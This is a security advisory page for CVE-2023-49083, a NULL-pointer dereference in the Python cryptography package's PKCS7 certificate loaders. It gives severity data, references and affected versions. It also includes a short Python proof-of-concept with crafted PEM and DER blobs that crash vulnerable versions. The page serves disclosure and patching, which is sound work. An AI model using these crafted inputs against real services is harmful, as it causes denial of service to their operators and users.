GHSA-jfhm-5ghh-2f97
Suggest an improvement- Source
- https://github.com/advisories/GHSA-jfhm-5ghh-2f97
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-jfhm-5ghh-2f97/GHSA-jfhm-5ghh-2f97.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-jfhm-5ghh-2f97
- Aliases
- Related
- Published
- 2023-11-28T20:46:46Z
- Modified
- 2025-11-05T00:56:55.063777Z
- Severity
-
- 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
- Summary
- cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
- Details
-
Summary
Calling
load_pem_pkcs7_certificatesorload_der_pkcs7_certificatescould lead to a NULL-pointer dereference and segfault.PoC
Here is a Python code that triggers the issue:
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7)Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
- Database specific
{ "nvd_published_at": "2023-11-29T19:15:07Z", "cwe_ids": [ "CWE-476" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2023-11-28T20:46:46Z" }- References
-
- https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
- https://nvd.nist.gov/vuln/detail/CVE-2023-49083
- https://github.com/pyca/cryptography/pull/9926
- https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a
- https://github.com/pyca/cryptography
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml
- https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV
- http://www.openwall.com/lists/oss-security/2023/11/29/2
Affected packages
PyPI / cryptography
Package
- Name
- cryptography
- View open source insights on deps.dev
- Purl
- pkg:pypi/cryptography
Affected versions
3.*
3.1
3.1.1
3.2
3.2.1
3.3
3.3.1
3.3.2
3.4
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.4.6
3.4.7
3.4.8
35.*
35.0.0
36.*
36.0.0
36.0.1
36.0.2
37.*
37.0.0
37.0.1
37.0.2
37.0.3
37.0.4
38.*
38.0.0
38.0.1
38.0.2
38.0.3
38.0.4
39.*
39.0.0
39.0.1
39.0.2
40.*
40.0.0
40.0.1
40.0.2
41.*
41.0.0
41.0.1
41.0.2
41.0.3
41.0.4
41.0.5